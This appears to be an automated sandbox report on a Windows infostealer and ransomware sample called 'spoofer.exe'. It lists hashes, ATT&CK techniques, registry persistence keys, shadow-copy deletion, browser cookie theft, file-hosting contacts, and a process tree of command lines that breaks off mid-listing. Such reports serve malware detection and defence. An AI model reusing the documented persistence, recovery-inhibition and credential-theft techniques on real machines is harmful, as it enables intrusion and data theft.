b2665f90c1c54dcc77aa3cc62acde7f92101b570159a13dc7c5b774665a9bee6

Analysis

max time kernel
150s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
28/03/2025, 18:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

spoofer.exe
Size

72.6MB
MD5

f06fcb2b9cf6e48c978de8140a9895f3
SHA1

b4efe7dc8c3701f38daf2aaf74ef088d1ac48d04
SHA256

b2665f90c1c54dcc77aa3cc62acde7f92101b570159a13dc7c5b774665a9bee6
SHA512

b2ea578a7f59af51b81fb43f459dea81981310096290a83fb8e4a6c809b5f5e03938c4aebc0f721522471055bcf5a64a93b5f1d5cced4283941eec9b7188f15b
SSDEEP

1572864:Y4gPXMouRfKSSloORl5ojezrH9PotADF1bp4HJNTD7dFGuzg07/R:Y4AcHRfmoORwjeNllpMNTF4uzg6R

Score

10^/10

collection credential_access defense_evasion discovery execution impact persistence privilege_escalation ransomware spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\Program Files\\Windows NT\\TableTextService\\spoofer.exe"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
5592	powershell.exe
2364	powershell.exe
5900	powershell.exe
1152	powershell.exe
2628	powershell.exe
4556	powershell.exe
4252	powershell.exe
2352	powershell.exe
3852	powershell.exe
2728	powershell.exe
1920	powershell.exe
4508	powershell.exe
3092	powershell.exe
3984	powershell.exe
1132	powershell.exe
4408	powershell.exe
4200	powershell.exe
2476	powershell.exe
5872	powershell.exe
5988	powershell.exe
3052	powershell.exe
4196	powershell.exe
1716	powershell.exe
3572	powershell.exe
4884	powershell.exe
5116	powershell.exe
1036	powershell.exe
5820	powershell.exe
4868	powershell.exe
2916	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2652	msedge.exe
6120	msedge.exe
5428	msedge.exe
4456	chrome.exe
4964	chrome.exe
5336	chrome.exe
2248	chrome.exe
1948	chrome.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\Control Panel\International\Geo\Nation	spoofer.exe

Clipboard Data 1 TTPs 64 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2408	cmd.exe
6420	powershell.exe
2196	powershell.exe
2892	cmd.exe
6820	powershell.exe
6212	powershell.exe
6896	cmd.exe
3352	cmd.exe
1644	cmd.exe
988	cmd.exe
3512	powershell.exe
4684	cmd.exe
2412	cmd.exe
4884	cmd.exe
7036	cmd.exe
6856	powershell.exe
7084	cmd.exe
4288	cmd.exe
2088	powershell.exe
2448	powershell.exe
6304	cmd.exe
1800	powershell.exe
4384	powershell.exe
6956	powershell.exe
3696	powershell.exe
2532	cmd.exe
5604	powershell.exe
3272	cmd.exe
5716	powershell.exe
7076	powershell.exe
6484	powershell.exe
2196	powershell.exe
5236	powershell.exe
220	cmd.exe
5924	cmd.exe
5300	powershell.exe
4372	cmd.exe
3044	cmd.exe
3592	powershell.exe
4632	cmd.exe
5756	cmd.exe
1996	powershell.exe
5440	cmd.exe
5828	powershell.exe
6820	cmd.exe
6120	powershell.exe
4384	cmd.exe
6304	powershell.exe
6480	cmd.exe
4692	cmd.exe
1576	cmd.exe
6412	powershell.exe
808	powershell.exe
6860	powershell.exe
7112	cmd.exe
4532	cmd.exe
6544	powershell.exe
5908	powershell.exe
2236	powershell.exe
6124	powershell.exe
6352	cmd.exe
2912	cmd.exe
3508	cmd.exe
5932	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spoofer.exe	spoofer.exe

Executes dropped EXE 11 IoCs

pid	Process
1108	spoofer.exe
548	spoofer.exe
2336	spoofer.exe
3384	spoofer.exe
2440	spoofer.exe
3580	spoofer.exe
4092	spoofer.exe
5856	spoofer.exe
4552	spoofer.exe
284	spoofer.exe
5604	spoofer.exe

Loads dropped DLL 47 IoCs

pid	Process
5000	spoofer.exe
5000	spoofer.exe
5000	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
548	spoofer.exe
2336	spoofer.exe
548	spoofer.exe
548	spoofer.exe
548	spoofer.exe
548	spoofer.exe
3384	spoofer.exe
2440	spoofer.exe
3384	spoofer.exe
2440	spoofer.exe
2440	spoofer.exe
3384	spoofer.exe
2440	spoofer.exe
3580	spoofer.exe
3384	spoofer.exe
4092	spoofer.exe
3580	spoofer.exe
3580	spoofer.exe
4092	spoofer.exe
4092	spoofer.exe
3580	spoofer.exe
3580	spoofer.exe
4092	spoofer.exe
4092	spoofer.exe
3580	spoofer.exe
4092	spoofer.exe
5856	spoofer.exe
4552	spoofer.exe
5856	spoofer.exe
5856	spoofer.exe
5856	spoofer.exe
284	spoofer.exe
5856	spoofer.exe
5604	spoofer.exe
284	spoofer.exe
284	spoofer.exe
284	spoofer.exe
284	spoofer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Windows_Health_Courtage_yXv7pZ = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\spoofer.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-308834014-1004923324-1191300197-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows_Health_Courtage_yXv7pZ = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\spoofer.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 39 IoCs

Web Service

T1102

flow	ioc
38	raw.githubusercontent.com
55	raw.githubusercontent.com
57	raw.githubusercontent.com
295	raw.githubusercontent.com
296	raw.githubusercontent.com
299	raw.githubusercontent.com
33	raw.githubusercontent.com
35	raw.githubusercontent.com
60	raw.githubusercontent.com
63	raw.githubusercontent.com
288	raw.githubusercontent.com
305	raw.githubusercontent.com
41	raw.githubusercontent.com
45	raw.githubusercontent.com
58	raw.githubusercontent.com
59	raw.githubusercontent.com
291	raw.githubusercontent.com
292	raw.githubusercontent.com
56	raw.githubusercontent.com
270	api.gofile.io
285	raw.githubusercontent.com
293	raw.githubusercontent.com
302	raw.githubusercontent.com
32	raw.githubusercontent.com
43	raw.githubusercontent.com
250	raw.githubusercontent.com
297	raw.githubusercontent.com
300	raw.githubusercontent.com
303	raw.githubusercontent.com
44	raw.githubusercontent.com
287	raw.githubusercontent.com
42	raw.githubusercontent.com
61	raw.githubusercontent.com
269	api.gofile.io
298	raw.githubusercontent.com
304	raw.githubusercontent.com
39	raw.githubusercontent.com
286	raw.githubusercontent.com
301	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
53	ipinfo.io
54	ipinfo.io

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
5500	tasklist.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Windows NT\TableTextService\spoofer.exe	spoofer.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
692	sc.exe

Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
3092	powershell.exe
2316	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoofer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoofer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoofer.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5196	cmd.exe
5924	netsh.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1152	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2556	taskkill.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4864	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe
1108	spoofer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4456	chrome.exe
4456	chrome.exe
4456	chrome.exe
4456	chrome.exe
2652	msedge.exe
2652	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5000	spoofer.exe
Token: SeShutdownPrivilege	1108	spoofer.exe
Token: SeCreatePagefilePrivilege	1108	spoofer.exe
Token: SeShutdownPrivilege	1108	spoofer.exe
Token: SeCreatePagefilePrivilege	1108	spoofer.exe
Token: SeIncreaseQuotaPrivilege	4180	WMIC.exe
Token: SeSecurityPrivilege	4180	WMIC.exe
Token: SeTakeOwnershipPrivilege	4180	WMIC.exe
Token: SeLoadDriverPrivilege	4180	WMIC.exe
Token: SeSystemProfilePrivilege	4180	WMIC.exe
Token: SeSystemtimePrivilege	4180	WMIC.exe
Token: SeProfSingleProcessPrivilege	4180	WMIC.exe
Token: SeIncBasePriorityPrivilege	4180	WMIC.exe
Token: SeCreatePagefilePrivilege	4180	WMIC.exe
Token: SeBackupPrivilege	4180	WMIC.exe
Token: SeRestorePrivilege	4180	WMIC.exe
Token: SeShutdownPrivilege	4180	WMIC.exe
Token: SeDebugPrivilege	4180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4180	WMIC.exe
Token: SeRemoteShutdownPrivilege	4180	WMIC.exe
Token: SeUndockPrivilege	4180	WMIC.exe
Token: SeManageVolumePrivilege	4180	WMIC.exe
Token: 33	4180	WMIC.exe
Token: 34	4180	WMIC.exe
Token: 35	4180	WMIC.exe
Token: 36	4180	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4180	WMIC.exe
Token: SeSecurityPrivilege	4180	WMIC.exe
Token: SeTakeOwnershipPrivilege	4180	WMIC.exe
Token: SeLoadDriverPrivilege	4180	WMIC.exe
Token: SeSystemProfilePrivilege	4180	WMIC.exe
Token: SeSystemtimePrivilege	4180	WMIC.exe
Token: SeProfSingleProcessPrivilege	4180	WMIC.exe
Token: SeIncBasePriorityPrivilege	4180	WMIC.exe
Token: SeCreatePagefilePrivilege	4180	WMIC.exe
Token: SeBackupPrivilege	4180	WMIC.exe
Token: SeRestorePrivilege	4180	WMIC.exe
Token: SeShutdownPrivilege	4180	WMIC.exe
Token: SeDebugPrivilege	4180	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4180	WMIC.exe
Token: SeRemoteShutdownPrivilege	4180	WMIC.exe
Token: SeUndockPrivilege	4180	WMIC.exe
Token: SeManageVolumePrivilege	4180	WMIC.exe
Token: 33	4180	WMIC.exe
Token: 34	4180	WMIC.exe
Token: 35	4180	WMIC.exe
Token: 36	4180	WMIC.exe
Token: SeShutdownPrivilege	1108	spoofer.exe
Token: SeCreatePagefilePrivilege	1108	spoofer.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeDebugPrivilege	5820	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	5900	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	5872	powershell.exe
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	2352	powershell.exe
Token: SeShutdownPrivilege	1108	spoofer.exe
Token: SeCreatePagefilePrivilege	1108	spoofer.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4456	chrome.exe
2652	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 1108	5000	spoofer.exe	96
PID 5000 wrote to memory of 1108	5000	spoofer.exe	96
PID 1108 wrote to memory of 3552	1108	spoofer.exe	98
PID 1108 wrote to memory of 3552	1108	spoofer.exe	98
PID 3552 wrote to memory of 920	3552	cmd.exe	100
PID 3552 wrote to memory of 920	3552	cmd.exe	100
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 548	1108	spoofer.exe	101
PID 1108 wrote to memory of 2336	1108	spoofer.exe	102
PID 1108 wrote to memory of 2336	1108	spoofer.exe	102
PID 1108 wrote to memory of 436	1108	spoofer.exe	103
PID 1108 wrote to memory of 436	1108	spoofer.exe	103
PID 436 wrote to memory of 4180	436	cmd.exe	105
PID 436 wrote to memory of 4180	436	cmd.exe	105
PID 1108 wrote to memory of 1308	1108	spoofer.exe	106
PID 1108 wrote to memory of 1308	1108	spoofer.exe	106
PID 1308 wrote to memory of 916	1308	cmd.exe	108
PID 1308 wrote to memory of 916	1308	cmd.exe	108
PID 916 wrote to memory of 3516	916	net.exe	109
PID 916 wrote to memory of 3516	916	net.exe	109
PID 1108 wrote to memory of 1748	1108	spoofer.exe	110
PID 1108 wrote to memory of 1748	1108	spoofer.exe	110
PID 1108 wrote to memory of 5264	1108	spoofer.exe	111
PID 1108 wrote to memory of 5264	1108	spoofer.exe	111
PID 1748 wrote to memory of 6120	1748	cmd.exe	114
PID 1748 wrote to memory of 6120	1748	cmd.exe	114
PID 1108 wrote to memory of 2352	1108	spoofer.exe	115
PID 1108 wrote to memory of 2352	1108	spoofer.exe	115
PID 1108 wrote to memory of 2476	1108	spoofer.exe	116
PID 1108 wrote to memory of 2476	1108	spoofer.exe	116
PID 1108 wrote to memory of 4868	1108	spoofer.exe	117
PID 1108 wrote to memory of 4868	1108	spoofer.exe	117
PID 1108 wrote to memory of 3852	1108	spoofer.exe	118
PID 1108 wrote to memory of 3852	1108	spoofer.exe	118
PID 1108 wrote to memory of 3984	1108	spoofer.exe	120
PID 1108 wrote to memory of 3984	1108	spoofer.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\spoofer.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
  C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "chcp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3552
  - - C:\Windows\system32\chcp.com
      chcp
      4⤵
      PID:920
- - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1852 --field-trial-handle=1856,i,1127362544115360655,4827795123436500064,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:548
- - C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\2ujovuoJ8dNZfd47a8kz0Km8FPw\spoofer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\gearhead" --mojo-platform-channel-handle=2064 --field-trial-handle=1856,i,1127362544115360655,4827795123436500064,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=5000 get ExecutablePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic process where processid=5000 get ExecutablePath
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "NET SESSION"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\system32\net.exe
      NET SESSION
      4⤵
      Suspicious use of WriteProcessMemory
      PID:916
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 SESSION
        5⤵
        
        PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
      4⤵
      PID:6120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
    3⤵
    PID:5264
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2352
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2476
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4868
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3852
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3984
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2628
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:3572
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:1716
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5900
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2364
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5820
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
    3⤵
    PID:1532
  - - C:\Windows\system32\findstr.exe
